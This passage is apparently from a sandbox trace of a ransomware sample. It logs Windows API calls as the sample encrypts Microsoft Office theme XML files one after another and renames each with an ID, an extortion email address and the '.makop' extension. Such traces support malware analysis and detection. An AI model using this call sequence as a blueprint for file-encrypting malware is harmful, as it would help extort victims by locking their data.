[0160.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.988] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.988] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.988] GetProcessHeap () returned 0x48a0000 [0160.989] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.989] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.989] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.989] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.989] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.989] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.989] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.990] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.990] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.990] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.990] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.991] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe48, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe48, lpOverlapped=0x0) returned 1 [0160.991] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe50, dwBufLen=0xe50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe50) returned 1 [0160.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.991] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe50, lpOverlapped=0x0) returned 1 [0160.991] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.991] SetEndOfFile (hFile=0xf0) returned 1 [0160.998] GetProcessHeap () returned 0x48a0000 [0160.998] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.998] GetProcessHeap () returned 0x48a0000 [0160.998] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.998] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0160.998] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.000] CloseHandle (hObject=0xf0) returned 1 [0161.000] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0161.000] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml") returned 75 [0161.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.001] GetProcessHeap () returned 0x48a0000 [0161.001] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.001] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.002] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.002] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0161.006] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.006] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.006] GetProcessHeap () returned 0x48a0000 [0161.006] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.006] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.006] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.006] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.007] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.007] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.008] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.008] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.008] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xef5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xef5, lpOverlapped=0x0) returned 1 [0161.008] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00, dwBufLen=0xf00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00) returned 1 [0161.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.008] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf00, lpOverlapped=0x0) returned 1 [0161.008] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.009] SetEndOfFile (hFile=0xf0) returned 1 [0161.014] GetProcessHeap () returned 0x48a0000 [0161.014] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.015] GetProcessHeap () returned 0x48a0000 [0161.015] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.015] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0161.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.017] CloseHandle (hObject=0xf0) returned 1 [0161.017] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0161.017] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml") returned 78 [0161.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.018] GetProcessHeap () returned 0x48a0000 [0161.018] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.018] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.018] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0161.023] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.023] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.023] GetProcessHeap () returned 0x48a0000 [0161.023] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.023] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.024] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.025] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.025] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.025] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe16, lpOverlapped=0x0) returned 1 [0161.025] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0161.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.025] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0161.025] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.026] SetEndOfFile (hFile=0xf0) returned 1 [0161.031] GetProcessHeap () returned 0x48a0000 [0161.031] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.032] GetProcessHeap () returned 0x48a0000 [0161.032] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.032] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0161.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.033] CloseHandle (hObject=0xf0) returned 1 [0161.033] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0161.033] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml") returned 78 [0161.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.034] GetProcessHeap () returned 0x48a0000 [0161.034] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.034] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.035] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0161.038] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.039] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.039] GetProcessHeap () returned 0x48a0000 [0161.039] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.039] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.039] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.040] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.040] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.040] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe2f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe2f, lpOverlapped=0x0) returned 1 [0161.040] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe30, dwBufLen=0xe30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe30) returned 1 [0161.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe30, lpOverlapped=0x0) returned 1 [0161.041] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.041] SetEndOfFile (hFile=0xf0) returned 1 [0161.048] GetProcessHeap () returned 0x48a0000 [0161.048] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.048] GetProcessHeap () returned 0x48a0000 [0161.048] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.048] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0161.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.050] CloseHandle (hObject=0xf0) returned 1 [0161.050] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0161.050] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml") returned 73 [0161.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme 